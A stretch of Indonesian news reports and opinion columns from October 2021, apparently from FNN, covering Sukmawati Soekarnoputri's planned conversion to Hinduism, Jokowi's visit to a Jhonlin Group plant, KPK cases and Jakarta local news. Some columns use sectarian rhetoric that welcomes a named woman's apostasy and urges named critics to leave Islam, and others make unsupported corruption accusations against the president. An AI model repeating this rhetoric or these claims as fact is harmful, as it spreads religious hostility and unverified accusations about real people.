(2021-10-22,11:03), Aktivis 98, Haris Rusly Moti mengatakan, padahal track record perusahan Haji Isam ini sangatlah bermasalah karena pernah digeledah KPK terkait kasus pengemplangan pajak bersama dengan Mu’min Ali dari Panin Bank. “Presiden Joko Widodo membuktikan konstitusi dan hukum miliknya. Demi isu investasi, Presiden akan meresmikan salah satu anak usaha milik group Jhonlin. Tak peduli perusahaan milik haji Isam ini pernah digeledah KPK RI diduga terlibat pengemplangan pajak bersama Mu’min Ali dari Panin Bank,” tutur Haris Rusly Moti. Nama Haji Isam sempat menyita perhatian publik karena terkait pusaran kasus korupsi pejabat pajak. Pengusaha batubara ini diduga 'bermain mata' dengan pejabat pajak berkaitan dengan nilai pajak perusahaannya. Hal itu terungkap dalam persidangan di Pengadilan Tipikor Jakarta, Senin (4/10/2021). Sidang tersebut mengadili terdakwa Angin Prayitno Aji selaku mantan Direktur Pemeriksaan dan Penagihan di Direktorat Jenderal (Ditjen) Pajak Dadan Ramdani yang saat itu jadi Kepala Subdirektorat Kerja Sama dan Dukungan Pemeriksaan di Ditjen Pajak. Sidang menghadirkan seorang saksi atas nama Yulmanizar sebagai mantan anggota Tim Pemeriksa Pajak di Ditjen Pajak. Dari kesaksian Yulmanizar dalam Berita Acara Perkara Nomor 41 itulah nama Haji Isam muncul. Yulmanizar mengaku sempat bertemu orang bernama Agus Susetyo selaku konsultan pajak PT Jhonlin. Disebutkan, di pertemuan itu ia meminta agar nilai perhitungan pajak PT Jhonlin dikondisikan pada Rp 10 miliar saja. Nah pertemuan itu, menurut Yulmanizar, adalah permintaan langsung dari pemilik PT Jhonlin Baratama yang tak lain, tidak bukan adalah Samsuddin Andi Arsyad atau Haji Isam. Presiden Jokowi mengatakan alasan besarnya adalah karena Jhonlin Group ini mampu membuka lapangan kerja yang besar dan banyak. “Kenapa saya mau datang ke sini? Alasan besarnya adalah kawasan ini, pabrik ini, perusahaan PT Jhonlin mampu membuka lapangan kerja yang banyak," kata Jokowi dalam sambutannya yang disiarkan secara virtual, Kamis (21/10/2021). Menurut Komisaris Utama PT Jhonlin Agro Raya, Andi Amran Sulaiman, di kawasan industri yang ada di pabrik biodiesel milik Haji Isam tersebut bisa menampung tenaga kerja 2.320 orang. Bukan hanya pabrik biodiesel, di sana juga ada pabrik minyak goreng hingga smelter. Sementara itu, untuk Jhonlin Group keseluruhan sudah mempekerjakan 60 ribu orang. Sebanyak 20 ribu orangnya diperkerjakan secara langsung oleh Jhonlin Group. “PT Jhonlin Group itu gambaran umumnya saat ini PT Jhonlin pekerjakan karyawan 20 ribu orang langsung, tidak langsung 40 ribu orang, total 60 ribu orang,” ungkap Amran. Penulis Wartawan FNN.co.id

Sukmawati Murtad, Solusi Terbaik Bagi Kelompok Islamphobia

AKHIRNYA dengan jujur Sukmawati menyampaikan niatnya untuk pindah agama dari Islam ke Hindu tepat di hari ulang tahunnya yang ke 70 di Soekarno Centre Bali. Arya Wedakharna tim sukses di balik prosesi ritual pindah agama ini juga membenarkan sesuai yang diberitakan banyak portal on line media massa. Tak tanggung-tanggung, Presiden RI Jokowi, Menteri Agama, serta keluarga besar Soekarno akan diundang dan acaranyapun juga akan dipublikasi secara terbuka kepada masyarakat umum. Beragam komentar dapat kita lihat hasil celoteh para netizen baik itu pro dan kontra. Apapun itu alasannya, perpindahan agama Sukmawati dari Islam ke Hindu, yang dipublikasi secara sakral, terbuka dan besar-besaran kepada publik adalah hak preogratif Sukmawati. Namun yang menarik dari berita ini adalah tanggapan dari kelompok Islam itu sendiri. Justru menyambut positif hal ini. Malah ada yang mengucapkan syukur alhamdulillah. Sebenarnya, prosesi perpindahan agama di bumi nusantara ini adalah hal yang biasa. Apakah itu dari kristen ke Islam (mualaf), atau dari Islam ke kristen (murtad), maupun dari agama lainnya seperti Hindu dan Budha. Namun khusus Sukmawati memang agak sedikit berbeda. Karena, prosesi ritual perpindahan agama ini entah sengaja atau tidak, beritanya seakan dibuat begitu heboh. Sampai mengundang kepala negara dan menteri agama segala. Namun menariknya juga adalah tanggapan dari kelompok ummat Islam itu sendiri. Yang kadang kocak, lucu, satire, tapi dominan tak masalah atau malah mendukung. Kata mendukung ini yang menarik kita bahas dalam tulisan ini. Karena tentu hal itu punya alasan tersendiri bagi ummat Islam. Dimana kalau kita mapping menjadi beberapa jenis alasan sebagai berikut : Pertama, rekam jejak Sukmawati yang acap dilaporkan oleh kelompok ummat Islam atas ungkapan Sukmawati itu sendiri yang banyak menyakiti hati ummat Islam. Khususnya dalam isu “tusuk konde” dan “kidung Vs suara azan”. Namun sayang, seperti biasa, laporan ummat Islam atas dugaan penistaan agama ini tidak diproses penegak hukum sampai saat ini. Kedua, performance keislaman Sukmawati selama ini juga tidak kelihatan di mata publik. Apakah itu cara beribadahnya, kontribusi sosialnya, termasuk pikiran dan ucapannya yang banyak melahirkan kontroversial di tengah masyarakat. Ketiga, dengan “murtad”nya Sukmawati keluar dari agama Islam, akan lebih baik dari pada beliau masih mengaku Islam tapi setiap ungkapan dan ucapannya sering menyakiti hati ummat Islam. Maka akan semakin jelas batas hitam-putihnya seorang Sukmawati di mata masyarakat. Dan semoga setelah ini, beliau tak lagi merecoki ibadah ummat Islam dan bisa fokus ibadah menurut agama baru yang dianutnya. Keempat, dengan keluarnya Sukmawati dari Islam, ibarat duri keluar dari dalam daging. Karena bagi sebagian kelompok Islam sendiri selama ini Sukmawati ibarat duri dalam daging. Ngaku Islam tapi menyakitkan hati ummat Islam. Buktinya beliau berulang kali dilaporkan ke Polisi walaupun tidak diproses Kelima, yang menarik adalah bagi kelompok Islamphobia. Yang menyambut hal ini dengan gegap gempita proses murtadin Sukmawati ini. Kelompok ini langsung menggoreng isu ini sedemikian rupa, dengan narasi toleransi dan kebhinekaan. Karena bagi kelompok Islamfobhia ini (meskipun mereka juga ngaku Islam), salah satu indikator penganut paham toleransi dan kebhinekaan itu adalah “semua agama itu sama”. Dan tidak mempermasalahkan perpindahan agama itu karena dianggap tidak terlalu penting. Berbeda dengan kelompok Islam Aswaja yang mayoritas di Indonesia. Yang tetap menganggap agama itu adalah masalah private, masalah akidah dan tauhid yang tak bisa ditawar dengan urusan dunia atau pikiran sekulerisme liberal. Keenam, berharap setelah Sukmawati hal ini juga dapat diikuti oleh Abu Janda, Denny Siregar, Eko Kunthadi, Ade Armando, Guntur Romli, atau lainnya. Biar semakin jelas batas polarisasi mana yang mengaku kelompok Islam fundamentalis yang dicap kadrun, radikal dan intoleran. Dan mana kelompok Islam penganut paham sekuler, liberal, syiah, atau Islam Nusantara istilah mereka. Kenapa ini perlu diperjelas? Agar masyarakat segera tahu dan tidak bingung lagi. Karena bagi kelompok Islam fundamentalis menganggap kelompok Islam Liberal atau Islam Nusantara ini adalah sesat, jahat, dan jauh lari ajaran Islam sebenarnya. Karena mereka memisahkan kehidupan dengan agama. Begitu juga sebaliknya. Bagi kelompok Islam liberal-sekuler atau Islam Fundamental ini, mereka cap dengan kata/kata kelompok radikal, intoleran, anti kebhinekaan, anti Pancasila, hingga dikatakan sarang teroris yang mengancam keutuhan NKRI. Cuma bedanya, kelompok Islam Nusantara yang sekuler-liberal ini diback- up penuh oleh kekuasaan. Karena patuh dan tunduk pada penguasa hari ini. Beda dengan kelompok Islam fundamentalis, banyak para tokoh dan aktifisnya dipenjarakan dan dikriminalisasi. Kembali kepada judul tulisan di atas. Setelah Sukmawati ini, tentu kita berharap para pentolan penganut paham Islam nusantara atau Islam liberal-sekuler yang selama ini gigih dan getol membully Islam ? Segera menyusul dan mengikuti langkah Sukmawati. Dan justru menjadi murtad ini adalah solusi terbaik bagi para penganut Islamphobia. Dari pada jadi duri dalam daging bagi Islam dan keutuhan bangsa. Terlepas apa jenis agama baru yang mereka pilih. Atau bahkan tanpa agama saja sekalian alias anti Tuhan seperti ajaran Komunis-Atheis. Tak usah basa-basi lagi. Permasalahan konflik antara haq dengan batil, fundamentalis-radikal dengan paham sekulerisme-liberal ini, sebenarnya sudah ada sejak zaman para Nabi. Jadi kita tidak mesti gagap dan heran lagi. Bagaimana para Nabi ketika menyampaikan sebuah nilai kebenaran agama, malah dikriminalisasi, dibunuh, dianiaya, dibully, diusir, dipenjarakan, dan dituduh sebagai tukang bohong, tukang sihir, penjahat, teroris, dan pembohong. Termasuk melawan pada penguasa yang zalim. Jadi mari kita jaga bangsa ini dengan rasa cinta kebersamaan. Tidak dengan rasa dengki, dendam dan benci. Toleransi bukan harus saling mengikuti tapi saling menghormati. Kebhinekaan itu adalah satu dalam keberagaman yang hakiki bukan memaksakan kehendak untuk menyeragamkan. Radikal dan politik identitas itu adalah karakter dasar dan jati diri bangsa Indonesia yang beragam dan ta’at pada nilai spritual keagamaan. Bukan ancaman karena tidak tunduk pada kekuasaan. Selamat bagi Bu Sukmawati, semoga Indonesia tetap berjaya dalam keberagaman, dan para koleganya kita doakan segera menyusul. InsyaAllah.

Lazisku Laksanakan Berbagi Tuk Sesama di Pesantren Daarul Hijrah

Jakarta, FNN - Tepat di Hari Santri Nasional, Jumat, 22 Oktober 2021, Lembaga Amil Zakat Infak dan shadaqah Kemandirian Umat Keluarga Besar Pelajar Islam Indonesia (Lazisku KBPII) melaksanakan program Berbagi Tuk Sesama (BTS), di Pesantren Daarul Hijrah. Pesantren yang berdiri sejak 2018 ini berlokasi di Desa Susukan, Kecamatan Bojonggede, Kabupaten Bogor, Jawa Barat. Menurut penanggungjawab program BTS Lazisku KBPII, Didi Mardiono, pendidikan di pesantren tersebut merujuk pada kurikulum Gontor. Menggunakan tiga bahasa pengantar, Indonesia, Arab dan Inggris. "Dalam kesehariannya santri menggunakan bahasa Arab," ujar Didi usai berbincang dan mengenalkan program tersebut kepada pengasuh pesantren, Jamal dan Murtado. Dari perbincangan tersebut, menurut Didi, diketahui jumlah santri 108 orang, terdiri dari 50 santriwati dan 58 santriwan. Jenjang pendidikan yang ditempuh MI (Madrasyah Ibtidayah), Madrasyah Tsanawiyah) dan MA (Madrasyah Aliyah). "Pesantren baru meluluskan angkatan pertama," kata Didi. Pengamatan Didi selama pelaksanaan BTS, Pesantren Daarul Hijrah memiliki keunikan tersendiri. Pesantren tampak masih terus melaksanakan pembangunan sarana dan prasarananya. "Dana pesantren berasal dari sumbangan sukarela para murid kiai pendiri pesantren," kata Didi. Contohnya, kata Didi, dana pembangunan masjid diperoleh melalui beberapa sumber. "Ada celengan 'One Day One Thousand' yang dibagikan ke masyarakat. Setiap pekan diambil pihak pesantren," ucap Didi. Dana lainnya berasal dari keuntungan kantin yang dibangun di lokasi pesantren. Karyawannya para santri yang bekerja sesuai dengan pembagian tugas masing-masing. Didi menjelaskan, melalui pelaksanaan BTS di Pesantren Daarul Hijrah, memberi peluang kerja sama dengan Lazisku KBPII. "Pesantren bisa menjadi jejaring Lazisku terkait program beasiswa santri dan perekrutan relawan," kata Didi. Program BTS yang kelima kalinya dilaksanakan Lazisku KBPII, kemarin berlangsung di dua lokasi. Selain di pesantren, lokasi lainnya di Masjid Al Kautsar, Kebayoran Baru, Jakarta Selatan. "Melalui penyebaran lokasi BTS di Jakarta dan sekitarnya ini, diharapkan masyarakat semakin mengenal Lazisku dan program-programnya," kata Didi. (MD).

Ribuan Pengunjung Padati Ragunan Saat Hari Pertama Dibuka

Jakarta, FNN - Tiga ribu lebih pengunjung dari berbagai wilayah di DKI Jakarta telah memasuki kebun binatang tersebut sejak pagi hingga Sabtu siang saat hari pertama pembukaan kembali pada PPKM Level 2. Staf Pelayanan dan Informasi Kehumasan Taman Margasatwa Ragunan (TMR) Wahyudi Bambang saat ditemui mengatakan, sejak dibuka pukul 07.00 hingga 12.00 WIB ada 3.613 pengunjung. Menurutnya, jumlah itu diperkirakan terus bertambah hingga sore nanti. "Hingga siang ini tercatat 3.613 orang yang sudah masuk dan untuk yang sudah mendaftar sekitar 8.000 orang. Kita tidak tahu apakah semuanya masuk atau gimana, nanti kita lihat pada penutupan pukul 14.30 WIB," kata Wahyudi. Menurut Wahyudi, pendaftaran secara daring (online) menjadi prosedur pengunjung untuk memasuki kebun binatang tersebut. Hal itu wajib dilakukan satu hari sebelum berkunjung sehingga warga yang belum mendaftar hari ini baru bisa memasuki Ragunan pada besok harinya. Wahyudi menegaskan, pengunjung yang diizinkan masuk adalah mereka yang ber- KTP DKI. Pengunjung juga harus memindai (scan) kode batang (barcode) dari telepon seluler melalui aplikasi PeduliLindungi. Kewajiban itu bertujuan memeriksa apakah pengunjung sudah divaksinasi guna mencegah penyebaran virus di lingkungan Ragunan. Wahyudi memastikan pengelola TMR menerapkan protokol kesehatan secara ketat di areal TMR. Pemeriksaan suhu tubuh juga dilakukan kepada pengunjung saat hendak masuk TMR. Salah satu pengunjung, Hermina, 30, mengaku senang karena kebun binatang tersebut dibuka kembali untuk pengunjung. Hermina yang datang bersama keluarganya mengungkapkan mengetahui operasional Ragunan melalui media sosial Instagram. "Jam 9 sih udah sampai di sini. Memang udah menunggu pembukaan Ragunan, makanya kemarin daftar 'online'. Di sini datang 'refreshing' sama anak anak ya," kata warga Jakarta Barat itu. Salah satu pengunjung lainnya, Zulkarnaen, 34, mengatakan hal serupa. Sejauh ini tidak ada mengalami kendala saat memasuki Ragunan. "Prosedurnya dari media sosial dan saya juga sudah siapkan aplikasi PeduliLindungi agar bisa masuk," katanya. (mth)

Selamat Jalan Bu Suk

By M Rizal Fadillah RAMAI di jagad media rencana ritual pindah agama "Sudhi Wadani" Sukmawati Soekarnoputeri dari Islam menjadi Hindu. Konon kembali ke agama neneknya, Ida Ayu Nyoman Rai Srimben ibu kandung Sukarno, Presiden pertama. Akan diselenggarakan di Bale Agung Singaraja Buleleng Bali. Penyelenggara acara adalah "The Soekarno Center". Soal pindah agama adalah suatu hal yang biasa, tetapi jika dibesar-besarkan menjadi luar biasa. Urusan privat menjadi seperti agenda publik. Dengan mengundang Presiden, Menteri, dan tokoh politik, mengesankan ada keinginan mengubah urusan agama menjadi politik. Umat Hindu sekurangnya panitia seperti bahagia dan memproklamasikan secara nasional bahwa puteri Proklamator pindah ke agama Hindu. Umat Islam, sekurangnya yang merasa sakit atas penghinaan Sukmawati pada agama Islam, juga bahagia dengan murtadnya Sukmawati. Toh menjadi muslim juga tidak berguna, malah menjengkelkan. Bagus saja pindah agama. Rupanya sudah lama Sukmawati mengikuti ritual Hindu dengan sering mengunjungi pura pura di Bali. Teringat puisi menyakitkan Bu Suk. Dikenal dengan puisi konde. Umat memprotes bahkan melaporkan kepada Polisi atas penistaan itu akan tetapi kasusnya menguap. Islamophobia terlindungi di rezim ini. Aku tak tahu syari'at Islam//Yang kutahu sarikonde ibu Indonesia sangatlah indah//lebih cantik dari cadar mu Aku tak tahu syari'at Islam//Yang kutahu suara kidung Indonesia sangatlah elok//lebih merdu dari alunan azan mu Bodoh sekali, Sukmawati yang mengaku tak tahu syari'at tapi menyinggung syari'at. Begitu juga naif dan ngawur saat ia membandingkan Nabi Muhammad dengan Ir Sukarno. "Sekarang saya mau tanya semua, yang berjuang di abad 20 itu yang mulia Nabi Muhammad apa Ir Sukarno untuk kemerdekaan?" Ya sudahlah, Sukmawati memang jahil soal agama Islam, jadi tak masalah berpindah juga. Mungkin berharap lebih bisa mendalami agama lama atau barunya. Itu adalah hak, hanya sebagai muslim wajar bila bertakbir membesarkan Allah betapa hebatnya hidayah. Dari pada plin plan soal agama dan bangga dengan ketidaktahuan syari'at, lebih baik pindah saja. Itu pilihan hidup di usia senja, 70 tahun. Oke, selamat ultah, selamat jalan Bu Suk. *) Pemerhati Politik dan Kebangsaan

KPK Jebloskan Mantan Bupati Bengkalis ke Rutan Pekanbaru

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengeksekusi mantan Bupati Bengkalis Amril Mukminin ke Rutan Kelas I Pekanbaru. "Pada hari Jumat (22/10), Leo Sukoto Manalu selaku jaksa eksekusi telah melaksanakan putusan yang telah berkekuatan hukum tetap atas nama terpidana Amril Mukminin dengan cara memasukkannya ke Rumah Tahanan Negara Kelas I Pekanbaru untuk menjalani pidana penjara selama 4 tahun dikurangi selama berada dalam tahanan," kata Plt. Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta. Selain itu, terhadap Amril dibebankan juga untuk membayar pidana denda sebesar Rp300 juta dengan ketentuan apabila tidak dibayar, diganti dengan pidana kurungan selama 6 bulan. Eksekusi tersebut berdasarkan putusan putusan MA RI Nomor: 2941-26/06/2021 tanggal 26 Agustus 2021 juncto putusan Pengadilan Tipikor pada PT Pekanbaru Nomor: 24/PID.SUS.TPK/2020/PT PBR tanggal 21 Januari 2021 jo. putusan Pengadilan Tipikor pada PN Pekanbaru Nomor: 27/Pid.Sus-TPK/ 2020/ PN Pbr tanggal 9 November 2020. Sebelumnya, KPK mengajukan upaya hukum kasasi atas putusan banding Pengadilan Tinggi Pekanbaru terhadap Amril. Adapun alasan kasasi, jaksa memandang ada kekeliruan dalam pertimbangan putusan hakim tersebut, terutama dalam hal tidak terbuktinya dakwaan penerimaan gratifikasi sebagaimana Pasal 12B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Diketahui bahwa Pengadilan Tinggi Pekanbaru mengurangi hukuman Amril dari 6 tahun menjadi 4 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan. Pada tingkat pertama, Pengadilan Tipikor Pekanbaru menjatuhkan vonis terhadap Amril selama 6 tahun penjara dan denda Rp500 juta subsider 6 bulan kurungan. Amril terbukti melanggar Pasal 12 huruf a Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo. Pasal 64 ayat (1) KUHP. Ia terbukti secara bertahap menerima uang Rp5,2 miliar agar PT Citra Gading Asritama mengerjakan proyek peningkatan Jalan Duri-Sei Pakning Kabupaten Bengkalis, Riau. (sws, ant)

Mengapa Jokowi Butuh Ganjar?

By M Rizal Fadillah YANG dibutuhkan oleh Presiden Jokowi adalah langgengnya kekuasaan. Ideal adalah memperpanjang jabatan tiga periode melalui amandemen konstitusi. Akan tetapi urusan amandemen ternyata bukan hal mudah, pro dan kontra tajam. Lalu jalan lain perpanjangan tiga tahun dengan alasan kondisi pandemi Covid 19. Ini pun rentan karena nyatanya pandemi justru melandai. Tak ada pilihan selain Pilpres tetap tahun 2024. Artinya Jokowi selesai. Turun dengan membawa beban dua periode cukup berbahaya. Publik melihat dosa politik Jokowi menumpuk. Perlu Presiden berikut yang dapat mengamankan dan melindungi. Figur yang digadang-gadang dan menjadi orangnya adalah Ganjar Pranowo Gubernur Jawa Tengah. Mengapa mesti Ganjar Pranowo bukan Risma atau Puan Maharani puteri Megawati? Mudahnya, Risma itu belum berkualifikasi, emosional, dan untuk Mensos saja potensial gagal. Sedangkan Puan tidak mungkin dapat dikendalikan selama sang ibunda masih kokoh menjadi penentu Partai. Dengan Jokowi selesai masa jabatan, selesai pula relasi dengan Partai. Tak akan ada proteksi. Jokowi memang bukan kader PDIP. Ganjar Pranowo adalah pilihan karena ada hubungan emosional antara Presiden dengan sang Gubernur. Jawa Tengah adalah basis yang sama. Jokowi mantan Walikota Surakarta dan puteranya Gibran kini Walikota pula. Jokowi-Ganjar membangun relasi keluarga. Deal proteksi menjadi hal yang mudah. Tanpa Jokowi, Ganjar itu tidak ada apa-apanya, apalagi kini berdampak harus bermusuhan dengan Megawati. Ganjar menjadi pilihan atas dasar mampu membelah PDIP. Permainan survei dan media mencitrakan Ganjar mengungguli Puan. Taipan di belakang Jokowi dapat membiayai permainan. Target adalah Megawati yang menyerah untuk pada akhirnya mendukung Ganjar. Jika Mega cerdas Ganjar semestinya segera dipecat dari PDIP. Mengapa Jokowi tidak memilih yang lain? Prabowo yang sepertinya patuh kepada Jokowi bukanlah harapan. Ketika di bawah ia menjadi loyalis, ketika berkuasa bukan mustahil menjadi otoriter, bisa habis bapak Jokowi. Apalagi jika pemenang adalah Anies Baswedan, rakyat akan mendesak Presiden untuk mengadili Jokowi atas dosa-dosa politiknya baik soal korupsi, pelanggaran hak asasi, maupun penanganan pandemi. Masalah investasi dan hutang luar negeri juga menjadi tabungan kasus yang menunggu di depan nanti. Lebih parah jika Presiden pengganti justru di luar kalkulasi apakah Gatot Nurmantyo atau Rizal Ramli, Jokowi tentu lebih terancam lagi. Persoalan utamanya adalah betapa kuat aspirasi rakyat untuk mendakwa dan meminta pertanggungjawaban atas pelaksanaan pemerintahan yang oligarkhis dan kleptokratis. Rezim penggasak sumber daya alam dan pembangkrut BUMN. Jokowi butuh Ganjar untuk mengamankan diri dan keluarganya. Pilpres 2024 masih menyimpan harapan. Akan tetapi harapan itu dapat sirna jika ternyata ada kondisi tak terduga yang menyebabkan Presiden Jokowi harus lengser melalui Sidang Istimewa MPR. Semua bakal menjadi buyar. Begitu juga dengan Ganjar yang dipastikan ambyar. Politik adalah lapangan para pemain yang berebut bola. Bisa membobol atau dibobol. Karenanya tidak boleh ada yang merasa jumawa pada kemenangan sementara. Menjaga perasaan rakyat merupakan jalan menuju selamat. Menempatkan rakyat untuk tetap berdaulat. *) Pemerhati Politik dan Kebangsaan

Kemenkumham Mediasi Dugaan Pelanggaran Lagu "Aku Papua" di PON XX

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) RI melalui Direktorat Jenderal Kekayaan Intelektual (DJKI) akan membantu proses mediasi dugaan pelanggaran kekayaan intelektual penggunaan lagu "Aku Papua" yang dinyanyikan saat pembukaan Pekan Olahraga Nasional (PON) XX. "Kami sudah menerima aduan yang disampaikan oleh ahli waris Franky Sahilatua, dan akan dilakukan pemeriksaan kembali mengenai kebenaran fakta," kata Direktur Jenderal Kekayaan Intelektual DJKI Kemenkumham Freddy Harris melalui keterangan tertulis yang diterima di Jakarta, Jumat. Freddy mengatakan DJKI Kemenkumham terlebih dahulu akan mengumpulkan fakta-fakta dan diselidiki secara mendalam apakah ada potensi pelanggaran kekayaan intelektual atas karya Franky Sahilatua tersebut. Istri dari Franky, Harwatiningrum selaku ahli waris telah menyampaikan laporan dugaan pelanggaran kekayaan intelektual kepada DJKI Kemenkumham terkait kasus ini pada 10 Oktober 2021. Dalam laporannya, Harwatiningrum menyampaikan pada 2 Oktober 2021 lagu "Aku Papua" dinyanyikan oleh Michael Jakarimilena, Nowela Elizabeth Auparay, dan Edo Kondologit saat pembukaan PON XX Papua. Harwatiningrum selaku ahli waris mengaku hingga saat ini pihak penyelenggara belum meminta izin atas penggunaan lagu tersebut saat pembukaan PON edisi Ke-20 di Stadion Lukas Enembe. Menanggapi laporan yang masuk melalui laman https://pengaduan.dgip.go.id/ tersebut, DJKI tengah melakukan penelusuran dan konfirmasi kepada pihak-pihak yang terlibat yaitu ahli waris, penyelenggara PON, publisher lagu Aku Papua hingga lembaga manajemen kolektif (LMK) yang menaungi Franky Sahilatua selaku pencipta. Sebagai informasi, berdasarkan Undang-Undang Nomor 28 Tahun 2014 tentang Hak Cipta, dalam suatu ciptaan terdapat dua hak eksklusif yaitu hak moral dan hak ekonomi. Hak moral merupakan hak yang melekat abadi pada diri pencipta kekayaan intelektual dan tidak dapat dihapus atau dihilangkan. Hak ini memberikan yang bersangkutan untuk mencantumkan nama maupun mengubah hasil karyanya. (ant, sws)

Sukmawati Soekarnoputri Akan Menjalani Ritual Pindah Agama dari Islam ke Hindu

Jakarta, FNN -- Putri Presiden Proklamator Soekarno, Sukmawati Soekarnoputri akan menjalani ritual pindah agama dari agama Islam ke Hindu. Pelaksanaan ritual tersebut, akan digelar di Kawasan Sukarno Center Heritage di Bale Agung Singaraja, Kabupaten Buleleng, Bali, pada Selasa (26/10) mendatang. "Iya benar itu. Acaranya di Bali pada tanggal 26 Oktober-November 2021, Minggu depan," kata Kepala Sukarno Center di Bali Arya Wedakarna sekaligus penanggung jawab acara, saat dihubungi Jumat (22/10) seperti dikutip CNN Indonesia. Ia mengatakan, bahwa dirinya ditunjuk oleh Sukmawati untuk membantu mengatur upacara Sudhi Wadhani atau upacara pengukuhan serta pengesahan ucapan atau janji seseorang yang secara tulus ikhlas dan hati yang suci menyatakan menganut Agama Hindu. "Jadi, kita bantu dan persiapan sudah baik dan nanti tinggal pelaksanaan saja. Tetapi, secara prinsip dari upacara Sudhi Wadhani kita namakan kembali ke Agama Hindu," ujarnya. Selain itu, pihaknya juga menyampaikan pindahnya Sukmawati Soekarnoputri ke agama Hindu sudah melalui proses persetujuan dengan keluarga. "Baik itu, keluarga putra-putri beliau yang utama dan juga saudara-saudara beliau. Ibu Megawati, Ibu Rachmawati almarhum, Bapak Guntur. Semuanya berproses jadi tinggal acara saja seperti itu," ujarnya. Kembali ke Agama Leluhur Ia juga menerangkan, pindahnya Sukmawati ke Agama Hindu merupakan haknya untuk bisa kembali ke agama leluhurnya. Karena, menurutnya nenek Sukmawati yakni Ida Ayu Nyoman Rai Srimben asal Singaraja, Kabupaten Buleleng, Bali, dan beragama Hindu. "Karena nenek beliau Nyoman Rai Srimben asal Singaraja juga seorang Hindu. Jadi, beliau (Sukmawati) juga menginginkan tempatnya bukan di Jakarta tapi di Bali. Tapi, di Bali harus di balai agung adalah tempat leluhur beliau yaitu Ibunda Bung Karno Nyoman Rai Sirimben," ujarnya. Ia juga menyatakan, perpindahan Sukmawati ke Agama Hindu sudah melalui proses yang panjang. Dia menuturkan selama ini Sukmawati suka berdiskusi dengan para pendeta, biksu dan pemangku serta suka membaca kitab suci Hindu. "Kalau saya sebagai saksi perjuangan beliau. Melihat beliau itu sepertinya kok selama ini suka dengan Hindu dengan Bali. Selalu minta datang ke Pura-pura, udah puluhan tahun ini dan suka membaca kitab suci Hindu. Suka berdiskusi dengan para biksu para pendeta-pendeta, pemangku kami," ujarnya. Penista Agama Sukmawati pernah dilaporkan ke Kepolisian Daerah Metro Jaya atas dugaan tindak pidana penistaan agama karena membandingkan Nabi Muhammad SAW dengan Presiden RI Pertama Soekarno. Sukmawati dilaporkan oleh warga bernama Ratih Puspa Nusanti yang merupakan salah anggota Koordinator Bela Islam (Korlabi). Sekretaris Jenderal Korlabi, Novel Bamukmin mengatakan, Ratih merasa nabinya dibandingkan dengan Soekarno, maka dia melaporkan putri Soekarno itu ke polisi. "Korlabi mendampingi (melapor ke polisi) agar tidak terjadi gejolak di masyarakat," kata Novel Bamukmin, pada Sabtu, 16 November 2019. Ratih menyertakan video terkait laporan terhadap Sukmawati. Video itu juga telah beredar di media sosial, seperti Youtube. Dalam salah satu video, Sukmawati tampak berdiri di atas mimbar dan berbicara menggunakan pengeras suara. Berikut cuplikan ucapannya: "Mana lebih bagus Pancasila sama Al Quran? Gitu kan. Sekarang saya mau tanya ini semua, yang berjuang di abad 20 itu nabi yang mulia Muhammad, apa Insinyur Sukarno? Untuk kemerdekaan. Saya minta jawaban, silakan siapa yang mau menjawab berdiri, jawab pertanyaan Ibu ini," ujar Sukmawati Soekarnoputri. Sebelumnya Sukmawati juga dilaporkan ke polisi karena ucapannya. Pada 2018, Sukma pernah dilaporkan karena puisi bertajuk 'Ibu Indonesia' yang dibacakannya dalam acara '29 Tahun AnneAvantieBerkarya di Indonesia FashionWeek 2018'. Dalam puisi itu, Sukmawati membandingkan azan dengan kidung dan cadar dengan konde. Sejumlah pihak menganggap puisi Sukma tersebut telah menistakan ajaran Islam. Tak tanggung-tanggung, ada 30 laporan dilayangkan ke Polda dalam kasus ini. Menanggapi banyaknya laporan tersebut, Sukmawati pun menggelar konferensi pers. Ia meminta maaf atas puisinya itu karena telah menimbulkan kontroversi di masyarakat dan dianggap melecehkan agama Islam. "Saya mohon maaf lahir batin kepada umat Islam Indonesia, khususnya bagi yang merasa tersinggung dan berkeberatan dengan puisi Ibu Indonesia," kata dia sambil menyeka air matanya di Warung Daun Cikini pada Rabu, 4 April 2018. Polisi resmi menghentikan kasus dugaan penistaan agama yang memperkarakan Sukmawati pada 17 Juni 2018. (sws dari berbagai sumber)

Anies for President, Itu Semacam Fait Accompli

Oleh Ady Amar *) ANIES Baswedan, Gubernur DKI Jakarta, memang terbiasa bekerja dengan aturan. Dengan tingkat kehati-hatian yang tinggi, ia tampak sebagai politisi beradab. Tak mengenal kamus grusa-grusu sebagai pilihan dalam langkah-langkahnya. Semua dilakukan serba terukur, layaknya penjahit pakaian, yang tidak mentolerir kesilapan sekecil apapun. Langkah Anies itu penuh perhitungan. Karenanya, selalu berjalan pada norma keadaban, yang justru saat ini sulit bisa ditemukan apalagi dipilih politisi jadi model, itu rasanya mustahil. Anies tetap memakai pola yang sudah dianggap usang, berlama-lama menyelesaikan pekerjaan yang dihadapi, seolah tanpa sedikitpun mau mempersiapkan sejak dini posisi berikutnya, yang sebenarnya ia punya kans bisa sampai pada jabatan lebih tinggi (presiden). Infrastruktur yang dipunya untuk memuluskan jalan menuju ke sana tidak dipakainya. Anies seolah asyik dengan pekerjaan yang tengah dihadapinya saat ini, dan abai dengan persiapan yang seharusnya sudah dimulainya. Bagi politisi yang berebut kekuasaan, sikap yang dipilih Anies itu seperti orang yang mengabaikan jabatan lebih tinggi yang sedang menanti. Hanya berasyik masyuk dengan tugas yang ada, itu dianggap sikap lamban. Bagi politisi lain, kesempatan selagi menjabat itu dimanfaatkan sebaik mungkin, tapi itu tidak pada Anies. Sikap Anies itu seolah bermain di zona aman, dan itu memang tidak salah. Tapi jika orang lalu menganggap itu sikap "jual mahal", yang tidak seharusnya, itu pun tidak patut disalahkan. Setidaknya itu yang disampaikan beberapa pengamat, bahwa saat sudah tidak lagi menjabat sebagai Gubernur (2022), maka Anies sudah tidak lagi menjadi sumber berita, bahkan pemberitaan tentangnya akan jauh berkurang. Elektabilitasnya dimungkinkan akan menurun... itu sebenarnya yang mestinya jadi 